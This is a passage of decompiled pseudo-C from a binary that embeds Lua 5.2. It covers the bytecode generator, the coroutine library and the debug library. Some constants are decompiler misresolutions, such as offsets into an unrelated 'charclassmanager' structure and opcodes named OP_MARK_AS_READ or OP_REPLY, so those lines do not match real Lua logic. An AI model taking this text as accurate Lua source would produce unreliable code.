{ if ( v5 >= 250 ) luaX_syntaxerror(v3->ls, "function or expression too complex"); v4->maxstacksize = v5; } v6 = v3->freereg + 1; v3->freereg = v6; discharge2reg(v3, v2, (unsigned __int8)v6 - 1); } } //----- (005AFC50) -------------------------------------------------------- void __usercall exp2reg(FuncState *fs, expdesc *e, int reg) { expdesc *v3; // ebx@1 FuncState *v4; // esi@1 int v5; // edx@3 int v6; // ebp@3 signed int v7; // edi@4 int v8; // ebp@10 signed int fj; // [sp+10h] [bp-8h]@7 signed int p_t; // [sp+14h] [bp-4h]@4 v3 = e; v4 = fs; discharge2reg(fs, e, reg); if ( v3->k == 10 ) luaK_concat(v4, &v3->t, *(_DWORD *)&v3->u.ind.idx); v5 = v3->t; v6 = v3->f; if ( v5 != v6 ) { v7 = -1; p_t = -1; if ( need_value(v4, v5) || need_value(v4, v6) ) { if ( v3->k == 10 ) fj = -1; else fj = luaK_jump(v4); v4->lasttarget = v4->pc; v7 = luaK_code(v4, (reg << 6) | 0x4003); v4->lasttarget = v4->pc; p_t = luaK_code( v4, (unsigned int)((char *)&charclassmanager.ccm_classranger.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4.or_TableArray[1].ort_HeaderList.orchl_fieldname[92] + 3) | (reg << 6)); v4->lasttarget = v4->pc; luaK_concat(v4, &v4->jpc, fj); } v8 = v4->pc; v4->lasttarget = v8; patchlistaux(v4, v3->f, v8, reg, v7); patchlistaux(v4, v3->t, v8, reg, p_t); } v3->t = -1; v3->f = -1; *(_DWORD *)&v3->u.ind.idx = reg; v3->k = 6; } //----- (005AFD60) -------------------------------------------------------- void __cdecl luaK_exp2nextreg(FuncState *fs, expdesc *e) { signed int v2; // eax@2 int v3; // eax@5 char v4; // cl@9 luaK_dischargevars(fs, e); if ( e->k == 6 ) { v2 = *(_DWORD *)&e->u.ind.idx; if ( !(BYTE1(v2) & 1) ) { if ( v2 >= fs->nactvar ) --fs->freereg; } } v3 = fs->freereg + 1; if ( v3 > fs->f->maxstacksize ) { if ( v3 >= 250 ) luaX_syntaxerror(fs->ls, "function or expression too complex"); fs->f->maxstacksize = v3; } v4 = fs->freereg + 1; fs->freereg = v4; exp2reg(fs, e, (unsigned __int8)v4 - 1); } //----- (005AFDE0) -------------------------------------------------------- int __cdecl luaK_exp2anyreg(FuncState *fs, expdesc *e) { int result; // eax@2 luaK_dischargevars(fs, e); if ( e->k != 6 ) goto LABEL_8; result = *(_DWORD *)&e->u.ind.idx; if ( e->t == e->f ) return result; if ( result < fs->nactvar ) { LABEL_8: luaK_exp2nextreg(fs, e); result = *(_DWORD *)&e->u.ind.idx; } else { exp2reg(fs, e, *(_DWORD *)&e->u.ind.idx); result = *(_DWORD *)&e->u.ind.idx; } return result; } //----- (005AFE40) -------------------------------------------------------- void __cdecl luaK_exp2anyregup(FuncState *fs, expdesc *e) { if ( e->k != 8 || e->t != e->f ) luaK_exp2anyreg(fs, e); } //----- (005AFE60) -------------------------------------------------------- void __cdecl luaK_exp2val(FuncState *fs, expdesc *e) { if ( e->t == e->f ) luaK_dischargevars(fs, e); else luaK_exp2anyreg(fs, e); } //----- (005AFE80) -------------------------------------------------------- int __cdecl luaK_exp2RK(FuncState *fs, expdesc *e) { expkind v2; // eax@4 int v3; // eax@7 int result; // eax@7 int v5; // eax@8 lua_TValue key; // [sp+10h] [bp-8h]@8 if ( e->t == e->f ) luaK_dischargevars(fs, e); else luaK_exp2anyreg(fs, e); v2 = e->k; switch ( e->k ) { case 1: case 2: case 3: if ( fs->nk > 255 ) goto LABEL_12; if ( v2 != 1 ) { key.u.i.tt__ = 2146936065; key.u.i.v__.gc = (GCObject *)(v2 == 2); v5 = addk(fs, &key, &key); *(_DWORD *)&e->u.ind.idx = v5; e->k = 4; goto LABEL_9; } v3 = nilK(fs); *(_DWORD *)&e->u.ind.idx = v3; e->k = 4; return v3 | 0x100; case 5: *(_DWORD *)&e->u.ind.idx = luaK_numberK(fs, *(double *)&e->u.ind.idx); e->k = 4; goto $L3285; case 4: $L3285: v5 = *(_DWORD *)&e->u.ind.idx; if ( v5 > 255 ) goto LABEL_12; LABEL_9: result = v5 | 0x100; break; default: LABEL_12: result = luaK_exp2anyreg(fs, e); break; } return result; } //----- (005AFF70) -------------------------------------------------------- void __cdecl luaK_storevar(FuncState *fs, expdesc *var, expdesc *ex) { int v3; // ebp@4 int v4; // eax@4 int v5; // eax@5 signed int v6; // ebx@7 signed int v7; // edx@12 if ( var->k == 7 ) { if ( ex->k == 6 ) { v7 = *(_DWORD *)&ex->u.ind.idx; if ( !(BYTE1(v7) & 1) ) { if ( v7 >= fs->nactvar ) --fs->freereg; } } exp2reg(fs, ex, *(_DWORD *)&var->u.ind.idx); } else { if ( var->k == 8 ) { v5 = luaK_exp2anyreg(fs, ex); luaK_code(fs, ((v5 | (*(_DWORD *)&var->u.ind.idx << 17)) << 6) | 9); } else { if ( var->k == 9 ) { v3 = 2 * (var->u.ind.vt == 7) + 8; v4 = luaK_exp2RK(fs, ex); luaK_code(fs, v3 | ((var->u.ind.t | ((v4 | (var->u.ind.idx << 9)) << 8)) << 6)); } } if ( ex->k == 6 ) { v6 = *(_DWORD *)&ex->u.ind.idx; if ( !(BYTE1(v6) & 1) ) { if ( v6 >= fs->nactvar ) --fs->freereg; } } } } //----- (005B0040) -------------------------------------------------------- void __cdecl luaK_self(FuncState *fs, expdesc *e, expdesc *key) { signed int v3; // edi@1 int v4; // eax@5 int v5; // eax@9 signed int v6; // ebp@10 luaK_exp2anyreg(fs, e); v3 = *(_DWORD *)&e->u.ind.idx; if ( e->k == 6 && !(v3 & 0x100) && v3 >= fs->nactvar ) --fs->freereg; *(_DWORD *)&e->u.ind.idx = fs->freereg; e->k = 6; v4 = fs->freereg + 2; if ( v4 > fs->f->maxstacksize ) { if ( v4 >= 250 ) luaX_syntaxerror(fs->ls, "function or expression too complex"); fs->f->maxstacksize = v4; } fs->freereg += 2; v5 = luaK_exp2RK(fs, key); luaK_code(fs, ((*(_DWORD *)&e->u.ind.idx | ((v5 | (v3 << 9)) << 8)) << 6) | 0xC); if ( key->k == 6 ) { v6 = *(_DWORD *)&key->u.ind.idx; if ( !(v6 & 0x100) ) { if ( v6 >= fs->nactvar ) --fs->freereg; } } } //----- (005B0100) -------------------------------------------------------- int __usercall jumponcond(FuncState *fs, expdesc *e, int cond) { expdesc *v3; // ebx@1 FuncState *v4; // esi@1 unsigned int v5; // ecx@2 int result; // eax@3 int v7; // eax@5 int v8; // edi@9 signed int v9; // eax@10 int v10; // edi@13 int l1; // [sp+10h] [bp-4h]@13 v3 = e; v4 = fs; if ( e->k != 11 || (v5 = fs->f->code[*(_DWORD *)&e->u.ind.idx], (v5 & 0x3F) != 20) ) { if ( e->k == 6 ) goto LABEL_16; v7 = v4->freereg + 1; if ( v7 > v4->f->maxstacksize ) { if ( v7 >= 250 ) luaX_syntaxerror(v4->ls, "function or expression too complex"); v4->f->maxstacksize = v7; } v8 = (unsigned __int8)(v4->freereg++ + 1) - 1; discharge2reg(v4, v3, v8); if ( v3->k == 6 ) { LABEL_16: v9 = *(_DWORD *)&v3->u.ind.idx; if ( !(BYTE1(v9) & 1) ) { if ( v9 >= v4->nactvar ) --v4->freereg; } } luaK_code(v4, ((cond | (*(_DWORD *)&v3->u.ind.idx << 9)) << 14) | 0x3FDC); v10 = v4->jpc; v4->jpc = -1; l1 = luaK_code(v4, 0x7FFF8017u); luaK_concat(v4, &l1, v10); result = l1; } else { --v4->pc; result = condjump(v4, OP_MARK_AS_READ|0x10, v5 >> 23, 0, cond == 0); } return result; } //----- (005B01F0) -------------------------------------------------------- void __cdecl luaK_goiftrue(FuncState *fs, expdesc *e) { signed int v2; // eax@2 int v3; // ST08_4@5 luaK_dischargevars(fs, e); switch ( e->k ) { case 0xA: invertjump(fs, e); v2 = *(_DWORD *)&e->u.ind.idx; break; case 2: case 4: case 5: v2 = -1; break; default: v2 = jumponcond(fs, e, 0); break; } luaK_concat(fs, &e->f, v2); v3 = e->t; fs->lasttarget = fs->pc; luaK_concat(fs, &fs->jpc, v3); e->t = -1; } //----- (005B0290) -------------------------------------------------------- void __cdecl luaK_goiffalse(FuncState *fs, expdesc *e) { signed int v2; // eax@4 int v3; // ST08_4@7 luaK_dischargevars(fs, e); if ( e->k == 1 || e->k == 3 ) { v2 = -1; } else { if ( e->k == 10 ) v2 = *(_DWORD *)&e->u.ind.idx; else v2 = jumponcond(fs, e, 1); } luaK_concat(fs, &e->t, v2); v3 = e->f; fs->lasttarget = fs->pc; luaK_concat(fs, &fs->jpc, v3); e->f = -1; } //----- (005B0300) -------------------------------------------------------- void __usercall codenot(FuncState *fs, expdesc *e) { FuncState *v2; // esi@1 signed int v3; // eax@6 int v4; // edx@10 expdesc *v5; // [sp+0h] [bp-8h]@0 v2 = fs; luaK_dischargevars(fs, v5); switch ( e->k ) { case 1: case 3: e->k = 2; break; case 2: case 4: case 5: e->k = 3; break; case 0xA: invertjump(v2, e); break; case 6: case 0xB: discharge2anyreg(v2, e); if ( e->k == 6 ) { v3 = *(_DWORD *)&e->u.ind.idx; if ( !(BYTE1(v3) & 1) ) { if ( v3 >= v2->nactvar ) --v2->freereg; } } *(_DWORD *)&e->u.ind.idx = luaK_code(v2, (*(_DWORD *)&e->u.ind.idx << 23) | 0x14); e->k = 11; break; default: break; } v4 = e->t; e->t = e->f; e->f = v4; removevalues(v2, v4); removevalues(v2, e->t); } //----- (005B03C0) -------------------------------------------------------- void __cdecl luaK_indexed(FuncState *fs, expdesc *t, expdesc *k) { __int16 v3; // ax@1 expkind v4; // edx@1 t->u.ind.t = LOBYTE(t->u.ind.idx); v3 = luaK_exp2RK(fs, k); v4 = t->k; t->u.ind.idx = v3; t->u.ind.vt = (v4 == 8) + 7; t->k = 9; } //----- (005B0400) -------------------------------------------------------- void __usercall codearith(FuncState *fs, expdesc *e1, OpCode op, expdesc *e2, int line) { int v5; // esi@4 int v6; // eax@6 signed int v7; // ecx@8 int v8; // ebp@12 int v9; // ecx@13 bool v10; // sf@13 unsigned __int8 v11; // of@13 signed int v12; // ebp@15 int v13; // ecx@19 int v14; // edx@20 if ( !constfolding(op, e1, e2) ) { if ( op == 19 || op == 21 ) v5 = 0; else v5 = luaK_exp2RK(fs, e2); v6 = luaK_exp2RK(fs, e1); if ( v6 <= v5 ) { if ( e2->k == 6 ) { v12 = *(_DWORD *)&e2->u.ind.idx; if ( !(v12 & 0x100) ) { if ( v12 >= fs->nactvar ) --fs->freereg; } } if ( e1->k != 6 || (v13 = *(_DWORD *)&e1->u.ind.idx, BYTE1(v13) & 1) ) goto LABEL_23; v14 = fs->nactvar; v11 = __OFSUB__(v13, v14); v10 = v13 - v14 < 0; } else { if ( e1->k == 6 ) { v7 = *(_DWORD *)&e1->u.ind.idx; if ( !(BYTE1(v7) & 1) ) { if ( v7 >= fs->nactvar ) --fs->freereg; } } if ( e2->k != 6 || (v8 = *(_DWORD *)&e2->u.ind.idx, v8 & 0x100) ) goto LABEL_23; v9 = fs->nactvar; v11 = __OFSUB__(v8, v9); v10 = v8 - v9 < 0; } if ( !(v10 ^ v11) ) --fs->freereg; LABEL_23: *(_DWORD *)&e1->u.ind.idx = luaK_code(fs, op | ((v5 | (v6 << 9)) << 14)); e1->k = 11; fs->f->lineinfo[fs->pc - 1] = line; } } //----- (005B04F0) -------------------------------------------------------- void __usercall codecomp(FuncState *fs, expdesc *e2, OpCode op, int cond, expdesc *e1) { expdesc *v5; // ebp@1 FuncState *v6; // esi@1 expdesc *v7; // ebx@1 int v8; // edi@1 int v9; // eax@1 signed int v10; // ebx@2 signed int v11; // ecx@6 int v12; // ecx@11 int v13; // edi@12 expdesc *v14; // [sp+0h] [bp-14h]@0 v5 = e1; v6 = fs; v7 = e2; v8 = luaK_exp2RK(fs, v14); v9 = luaK_exp2RK(v6, v7); if ( v7->k == 6 ) { v10 = *(_DWORD *)&v7->u.ind.idx; if ( !(BYTE1(v10) & 1) ) { if ( v10 >= v6->nactvar ) --v6->freereg; } } if ( v5->k == 6 ) { v11 = *(_DWORD *)&v5->u.ind.idx; if ( !(BYTE1(v11) & 1) ) { if ( v11 >= v6->nactvar ) --v6->freereg; } } if ( !cond && op != 24 ) { v12 = v8; v8 = v9; v9 = v12; cond = 1; } luaK_code(v6, op | ((cond | ((v9 | (v8 << 9)) << 8)) << 6)); v13 = v6->jpc; v6->jpc = -1; cond = luaK_code(v6, 0x7FFF8017u); luaK_concat(v6, &cond, v13); *(_DWORD *)&v5->u.ind.idx = cond; v5->k = 10; } //----- (005B05C0) -------------------------------------------------------- void __cdecl luaK_prefix(FuncState *fs, UnOpr op, expdesc *e, int line) { int e2; // [sp+0h] [bp-18h]@1 double v5; // [sp+8h] [bp-10h]@1 int v6; // [sp+10h] [bp-8h]@1 int v7; // [sp+14h] [bp-4h]@1 v5 = 0.0; v7 = -1; v6 = -1; e2 = 5; if ( op ) { if ( op == 1 ) { codenot(fs, e); } else { if ( op == 2 ) { luaK_exp2anyreg(fs, e); codearith(fs, OP_DEFER_ACTION|0x10, e, (expdesc *)&e2, line); } } } else { if ( e->k != 5 || e->t != -1 || e->f != -1 ) { luaK_exp2anyreg(fs, e); codearith(fs, OP_REPLY|0x10, e, (expdesc *)&e2, line); } else { *(double *)&e->u.ind.idx = -*(double *)&e->u.ind.idx; } } } //----- (005B0680) -------------------------------------------------------- void __cdecl luaK_infix(FuncState *fs, BinOpr op, expdesc *v) { switch ( op ) { case 13: luaK_goiftrue(fs, v); break; case 14: luaK_goiffalse(fs, v); break; case 6: luaK_exp2nextreg(fs, v); break; case 0: case 1: case 2: case 3: case 4: case 5: if ( v->k != 5 || v->t != -1 || v->f != -1 ) luaK_exp2RK(fs, v); break; default: luaK_exp2RK(fs, v); break; } } //----- (005B0730) -------------------------------------------------------- void __cdecl luaK_posfix(FuncState *fs, BinOpr op, expdesc *e1, expdesc *e2, int line) { unsigned int *v5; // eax@9 switch ( op ) { case 13: luaK_dischargevars(fs, e2); luaK_concat(fs, &e2->f, e1->f); e1->k = e2->k; *((_DWORD *)&e1->k + 1) = *((_DWORD *)&e2->k + 1); *(_QWORD *)&e1->u.ind.idx = *(_QWORD *)&e2->u.ind.idx; e1->t = e2->t; e1->f = e2->f; break; case 14: luaK_dischargevars(fs, e2); luaK_concat(fs, &e2->t, e1->t); e1->k = e2->k; *((_DWORD *)&e1->k + 1) = *((_DWORD *)&e2->k + 1); *(_QWORD *)&e1->u.ind.idx = *(_QWORD *)&e2->u.ind.idx; e1->t = e2->t; e1->f = e2->f; break; case 6: if ( e2->t == e2->f ) luaK_dischargevars(fs, e2); else luaK_exp2anyreg(fs, e2); if ( e2->k != 11 || (fs->f->code[*(_DWORD *)&e2->u.ind.idx] & 0x3F) != 22 ) { luaK_exp2nextreg(fs, e2); codearith(fs, OP_BOUNCE|0x10, e1, e2, line); } else { freeexp(fs, e1); v5 = &fs->f->code[*(_DWORD *)&e2->u.ind.idx]; *v5 = (unsigned int)((char *)&charclassmanager.ccm_classranger.baseclass_0.baseclass_0.baseclass_0.baseclass_0.baseclass_4.or_TableArray[1].ort_HeaderList.orchl_fieldname[91] + 3) & *v5 | (*(_DWORD *)&e1->u.ind.idx << 23); e1->k = 11; *(_DWORD *)&e1->u.ind.idx = *(_DWORD *)&e2->u.ind.idx; } break; case 0: case 1: case 2: case 3: case 4: case 5: codearith(fs, (OpCode)(op + 13), e1, e2, line); break; case 7: case 8: case 9: codecomp(fs, (OpCode)(op + 17), 1, e1, e2); break; case 10: case 11: case 12: codecomp(fs, (OpCode)(op + 14), 0, e1, e2); break; default: return; } } //----- (005B0900) -------------------------------------------------------- void __cdecl luaK_patchlist(FuncState *fs, int list, int target) { int v3; // ecx@1 v3 = fs->pc; if ( target == v3 ) { fs->lasttarget = v3; luaK_concat(fs, &fs->jpc, list); } else { patchlistaux(fs, list, target, 255, target); } } //----- (005B0940) -------------------------------------------------------- int __usercall auxresume(lua_State *L, lua_State *co, int narg) { int v3; // ebx@1 int result; // eax@2 int v5; // eax@6 int v6; // ebx@9 v3 = narg; if ( lua_checkstack(co, narg) ) { if ( lua_status(co) || lua_gettop(co) ) { lua_xmove(L, co, v3); v5 = lua_resume(co, L, v3); if ( v5 && v5 != 1 ) { lua_xmove(co, L, 1); result = -1; } else { v6 = lua_gettop(co); if ( lua_checkstack(L, v6 + 1) ) { lua_xmove(co, L, v6); result = v6; } else { lua_settop(co, -1 - v6); lua_pushlstring(L, "too many results to resume", 0x1Au); result = -1; } } } else { lua_pushlstring(L, "cannot resume dead coroutine", 0x1Cu); result = -1; } } else { lua_pushlstring(L, "too many arguments to resume", 0x1Cu); result = -1; } return result; } //----- (005B0A10) -------------------------------------------------------- int __cdecl luaB_coresume(lua_State *L) { lua_State *v1; // esi@1 int v2; // eax@3 int v3; // esi@3 int result; // eax@4 v1 = lua_tothread(L, 1); if ( !v1 ) luaL_argerror(L, 1, "coroutine expected"); v2 = lua_gettop(L); v3 = auxresume(L, v1, v2 - 1); if ( v3 >= 0 ) { lua_pushboolean(L, 1); lua_insert(L, -1 - v3); result = v3 + 1; } else { lua_pushboolean(L, 0); lua_insert(L, -2); result = 2; } return result; } //----- (005B0A90) -------------------------------------------------------- int __cdecl luaB_auxwrap(lua_State *L) { lua_State *v1; // esi@1 int v2; // eax@1 int result; // eax@1 v1 = lua_tothread(L, -1001001); v2 = lua_gettop(L); result = auxresume(L, v1, v2); if ( result < 0 ) { if ( lua_isstring(L, -1) ) { luaL_where(L, 1); lua_insert(L, -2); lua_concat(L, 2); } lua_error(L); } return result; } //----- (005B0AF0) -------------------------------------------------------- int __cdecl luaB_cocreate(lua_State *L) { lua_State *v1; // edi@1 luaL_checktype(L, 1, 6); v1 = lua_newthread(L); lua_pushvalue(L, 1); lua_xmove(L, v1, 1); return 1; } //----- (005B0B30) -------------------------------------------------------- int __cdecl luaB_cowrap(lua_State *L) { lua_State *v1; // edi@1 luaL_checktype(L, 1, 6); v1 = lua_newthread(L); lua_pushvalue(L, 1); lua_xmove(L, v1, 1); lua_pushcclosure(L, luaB_auxwrap, 1); return 1; } //----- (005B0B80) -------------------------------------------------------- int __cdecl luaB_yield(lua_State *L) { int v1; // eax@1 v1 = lua_gettop(L); return lua_yieldk(L, v1, 0, 0); } //----- (005B0BA0) -------------------------------------------------------- int __cdecl luaB_costatus(lua_State *L) { lua_State *v1; // eax@1 lua_State *v2; // edi@1 int v3; // eax@5 const char *v5; // [sp-8h] [bp-78h]@4 unsigned int v6; // [sp-4h] [bp-74h]@4 lua_Debug ar; // [sp+8h] [bp-68h]@1 unsigned int v8; // [sp+6Ch] [bp-4h]@1 v8 = (unsigned int)&ar ^ __security_cookie; v1 = lua_tothread(L, 1); v2 = v1; if ( !v1 ) luaL_argerror(L, 1, "coroutine expected"); if ( L != v1 ) { v3 = lua_status(v1); if ( v3 ) { if ( v3 != 1 ) { LABEL_7: v6 = 4; v5 = "dead"; goto LABEL_12; } } else { if ( lua_getstack(v2, 0, &ar) > 0 ) { v6 = 6; v5 = "normal"; goto LABEL_12; } if ( !lua_gettop(v2) ) goto LABEL_7; } v6 = 9; v5 = "suspended"; goto LABEL_12; } v6 = 7; v5 = "running"; LABEL_12: lua_pushlstring(L, v5, v6); return 1; } //----- (005B0C50) -------------------------------------------------------- int __cdecl luaB_corunning(lua_State *L) { int v1; // eax@1 v1 = lua_pushthread(L); lua_pushboolean(L, v1); return 2; } //----- (005B0C70) -------------------------------------------------------- int __cdecl luaopen_coroutine(lua_State *L) { lua_createtable(L, 0, 6); luaL_setfuncs(L, &co_funcs, 0); return 1; } //----- (005B0CA0) -------------------------------------------------------- int __cdecl db_getregistry(lua_State *L) { lua_pushvalue(L, -1001000); return 1; } //----- (005B0CC0) -------------------------------------------------------- int __cdecl db_getmetatable(lua_State *L) { luaL_checkany(L, 1); if ( !lua_getmetatable(L, 1) ) lua_pushnil(L); return 1; } //----- (005B0CF0) -------------------------------------------------------- int __cdecl db_setmetatable(lua_State *L) { int v1; // eax@1 v1 = lua_type(L, 2); if ( v1 && v1 != 5 ) luaL_argerror(L, 2, "nil or table expected"); lua_settop(L, 2); lua_setmetatable(L, 1); return 1; } //----- (005B0D40) -------------------------------------------------------- int __cdecl db_getuservalue(lua_State *L) { int result; // eax@2 if ( lua_type(L, 1) == 7 ) { lua_getuservalue(L, 1); result = 1; } else { lua_pushnil(L); result = 1; } return result; } //----- (005B0D80) -------------------------------------------------------- int __cdecl db_setuservalue(lua_State *L) { if ( lua_type(L, 1) == 2 ) luaL_argerror(L, 1, "full userdata expected, got light userdata"); luaL_checktype(L, 1, 7); if ( lua_type(L, 2) > 0 ) luaL_checktype(L, 2, 5); lua_settop(L, 2); lua_setuservalue(L, 1); return 1; } //----- (005B0DF0) -------------------------------------------------------- void __usercall treatstackoption(lua_State *L, lua_State *L1, const char *fname) { if ( L == L1 ) { lua_pushvalue(L, -2); lua_remove(L, -3); lua_setfield(L, -2, fname); } else { lua_xmove(L1, L, 1); lua_setfield(L, -2, fname); } } //----- (005B0E40) -------------------------------------------------------- int __cdecl db_getinfo(lua_State *L) { signed int v1; // edi@2 lua_State *v2; // ebp@2 const char *v3; // eax@4 int v4; // edi@4 const char *v5; // ebx@4 int v6; // eax@5 int v8; // [sp-8h] [bp-84h]@10 const char *v9; // [sp-4h] [bp-80h]@10 int v10; // [sp+10h] [bp-6Ch]@1 int ar; // [sp+14h] [bp-68h]@5 const char *v12; // [sp+18h] [bp-64h]@18 const char *v13; // [sp+1Ch] [bp-60h]@18 const char *v14; // [sp+20h] [bp-5Ch]@12 char *s; // [sp+24h] [bp-58h]@12 int v16; // [sp+28h] [bp-54h]@14 int n; // [sp+2Ch] [bp-50h]@12 int v18; // [sp+30h] [bp-4Ch]@12 unsigned __int8 v19; // [sp+34h] [bp-48h]@16 unsigned __int8 v20; // [sp+35h] [bp-47h]@16 char v21; // [sp+36h] [bp-46h]@16 char v22; // [sp+37h] [bp-45h]@20 char v23; // [sp+38h] [bp-44h]@12 unsigned int v24; // [sp+78h] [bp-4h]@1 v24 = (unsigned int)&v10 ^ __security_cookie; if ( lua_type(L, 1) == 8 ) { v1 = 1; v2 = lua_tothread(L, 1); } else { v1 = 0; v2 = L; } v10 = v1 + 2; v3 = luaL_optlstring(L, v1 + 2, "flnStu", 0); v4 = v1 + 1; v5 = v3; if ( lua_isnumber(L, v4) ) { v6 = lua_tointegerx(L, v4, 0); if ( !lua_getstack(v2, v6, (lua_Debug *)&ar) ) { lua_pushnil(L); return 1; } } else { if ( lua_type(L, v4) != 6 ) { v9 = "function or level expected"; v8 = v4; LABEL_27: luaL_argerror(L, v8, v9); } lua_pushfstring(L, ">%s"); v5 = lua_tolstring(L, -1, 0); lua_pushvalue(L, v4); lua_xmove(L, v2, 1); } if ( !lua_getinfo(v2, v5, (lua_Debug *)&ar) ) { v9 = "invalid option"; v8 = v10; goto LABEL_27; } lua_createtable(L, 0, 2); if ( strchr(v5, 83) ) { lua_pushstring(L, s); lua_setfield(L, -2, "source"); lua_pushstring(L, &v23); lua_setfield(L, -2, "short_src"); lua_pushinteger(L, n); lua_setfield(L, -2, "linedefined"); lua_pushinteger(L, v18); lua_setfield(L, -2, "lastlinedefined"); lua_pushstring(L, v14); lua_setfield(L, -2, "what"); } if ( strchr(v5, 108) ) { lua_pushinteger(L, v16); lua_setfield(L, -2, "currentline"); } if ( strchr(v5, 117) ) { lua_pushinteger(L, v19); lua_setfield(L, -2, "nups"); lua_pushinteger(L, v20); lua_setfield(L, -2, "nparams"); lua_pushboolean(L, v21); lua_setfield(L, -2, "isvararg"); } if ( strchr(v5, 110) ) { lua_pushstring(L, v12); lua_setfield(L, -2, "name"); lua_pushstring(L, v13); lua_setfield(L, -2, "namewhat"); } if ( strchr(v5, 116) ) { lua_pushboolean(L, v22); lua_setfield(L, -2, "istailcall"); } if ( strchr(v5, 76) ) treatstackoption(L, v2, "activelines"); if ( strchr(v5, 102) ) treatstackoption(L, v2, "func"); return 1; } //----- (005B1150) -------------------------------------------------------- int __cdecl db_getlocal(lua_State *L) { signed int v1; // edi@2 lua_State *v2; // ebx@2 int v3; // eax@4 int v4; // edi@4 int v5; // ebp@4 const char *v6; // eax@5 int v7; // eax@6 const char *v8; // edi@8 lua_Debug ar; // [sp+10h] [bp-68h]@1 unsigned int v11; // [sp+74h] [bp-4h]@1 v11 = (unsigned int)&ar ^ __security_cookie; if ( lua_type(L, 1) == 8 ) { v1 = 1; v2 = lua_tothread(L, 1); } else { v1 = 0; v2 = L; } v3 = luaL_checkinteger(L, v1 + 2); v4 = v1 + 1; v5 = v3; if ( lua_type(L, v4) == 6 ) { lua_pushvalue(L, v4); v6 = lua_getlocal(L, 0, v5); lua_pushstring(L, v6); } else { v7 = luaL_checkinteger(L, v4); if ( !lua_getstack(v2, v7, &ar) ) luaL_argerror(L, v4, "level out of range"); v8 = lua_getlocal(v2, &ar, v5); if ( v8 ) { lua_xmove(v2, L, 1); lua_pushstring(L, v8); lua_pushvalue(L, -2); return 2; } lua_pushnil(L); } return 1; } //----- (005B1270) -------------------------------------------------------- int __cdecl db_setlocal(lua_State *L) { signed int v1; // edi@2 lua_State *v2; // ebx@2 int v3; // eax@4 int v4; // eax@6 const char *v5; // eax@6 lua_Debug ar; // [sp+10h] [bp-68h]@1 unsigned int v8; // [sp+74h] [bp-4h]@1 v8 = (unsigned int)&ar ^ __security_cookie; if ( lua_type(L, 1) == 8 ) { v1 = 1; v2 = lua_tothread(L, 1); } else { v1 = 0; v2 = L; } v3 = luaL_checkinteger(L, v1 + 1); if ( !lua_getstack(v2, v3, &ar) ) luaL_argerror(L, v1 + 1, "level out of range"); luaL_checkany(L, v1 + 3); lua_settop(L, v1 + 3); lua_xmove(L, v2, 1); v4 = luaL_checkinteger(L, v1 + 2); v5 = lua_setlocal(v2, &ar, v4); lua_pushstring(L, v5); return 1; } //----- (005B1350) -------------------------------------------------------- int __cdecl db_getupvalue(lua_State *L) { int v1; // edi@1 int result; // eax@1 v1 = luaL_checkinteger(L, 2); luaL_checktype(L, 1, 6); result = (int)lua_getupvalue(L, 1, v1); if ( result ) { lua_pushstring(L, (const char *)result); lua_insert(L, -2); result = 2; } return result; } //----- (005B13A0) -------------------------------------------------------- int __cdecl db_setupvalue(lua_State *L) { int v1; // edi@1 int result; // eax@1 luaL_checkany(L, 3); v1 = luaL_checkinteger(L, 2); luaL_checktype(L, 1, 6); result = (int)lua_setupvalue(L, 1, v1); if ( result ) { lua_pushstring(L, (const char *)result); lua_insert(L, -1); result = 1; } return result; } //----- (005B13F0) -------------------------------------------------------- int __usercall checkupval(lua_State *L, int argf, int argnup) { signed int v3; // edi@1 int ar; // [sp+8h] [bp-68h]@1 unsigned __int8 v6; // [sp+28h] [bp-48h]@2 unsigned int v7; // [sp+6Ch] [bp-4h]@1 v7 = (unsigned int)&ar ^ __security_cookie; v3 = luaL_checkinteger(L, argnup); luaL_checktype(L, argf, 6); lua_pushvalue(L, argf); lua_getinfo(L, ">u", (lua_Debug *)&ar); if ( v3 < 1 || v3 > v6 ) luaL_argerror(L, argnup, "invalid upvalue index"); return v3; } //----- (005B1460) -------------------------------------------------------- int __cdecl db_upvalueid(lua_State *L) { int v1; // eax@1 void *v2; // eax@1 v1 = checkupval(L, 1, 2); v2 = lua_upvalueid(L, 1, v1); lua_pushlightuserdata(L, v2); return 1; } //----- (005B1490) -------------------------------------------------------- int __cdecl db_upvaluejoin(lua_State *L) { int v1; // edi@1 int v2; // ebx@1 v1 = checkupval(L, 1, 2); v2 = checkupval(L, 3, 4); if ( lua_iscfunction(L, 1) ) luaL_argerror(L, 1, "Lua function expected"); if ( lua_iscfunction(L, 3) ) luaL_argerror(L, 3, "Lua function expected"); lua_upvaluejoin(L, 1, v1, 3, v2); return 0; } //----- (005B1510) -------------------------------------------------------- void __cdecl hookf(lua_State *L, lua_Debug *ar) { int v2; // eax@2 luaL_getsubtable(L, -1001000, "_HKEY"); lua_pushthread(L); lua_rawget(L, -2); if ( lua_type(L, -1) == 6 ) { lua_pushstring(L, hooknames[ar->event]); v2 = ar->currentline; if ( v2 < 0 ) { lua_pushnil(L); lua_callk(L, 2, 0, 0, 0); } else { lua_pushinteger(L, v2); lua_callk(L, 2, 0, 0, 0); } } } //----- (005B15A0) -------------------------------------------------------- int __usercall makemask(const char *smask, int count) { int v2; // esi@1 v2 = 0; if ( strchr(smask, 99) ) v2 = 1; if ( strchr(smask, 114) ) v2 |= 2u; if ( strchr(smask, 108) ) v2 |= 4u; if ( count > 0 ) v2 |= 8u; return v2; } //----- (005B15F0) -------------------------------------------------------- int __cdecl db_sethook(lua_State *L) { signed int v1; // ebx@2 int v2; // ebp@4 int v3; // edi@5 int v4; // ebx@5 const char *v5; // edi@6 lua_State *L1; // [sp+10h] [bp-8h]@2 void (__cdecl *func)(lua_State *, lua_Debug *); // [sp+14h] [bp-4h]@5 if ( lua_type(L, 1) == 8 ) { v1 = 1; L1 = lua_tothread(L, 1); } else { v1 = 0; L1 = L; } v2 = v1 + 1; if ( lua_type(L, v1 + 1) > 0 ) { v5 = luaL_checklstring(L, v1 + 2, 0); luaL_checktype(L, v1 + 1, 6); v4 = luaL_optinteger(L, v1 + 3, 0); func = hookf; v3 = makemask(v5, v4); } else { lua_settop(L, v1 + 1); v3 = 0; func = 0; v4 = 0; } if ( !luaL_getsubtable(L, -1001000, "_HKEY") ) { lua_pushstring(L, "k"); lua_setfield(L, -2, "__mode"); lua_pushvalue(L, -1); lua_setmetatable(L, -2); } lua_pushthread(L1); lua_xmove(L1, L, 1); lua_pushvalue(L, v2); lua_rawset(L, -3); lua_sethook(L1, func, v3, v4); return 0; } //----- (005B1710) 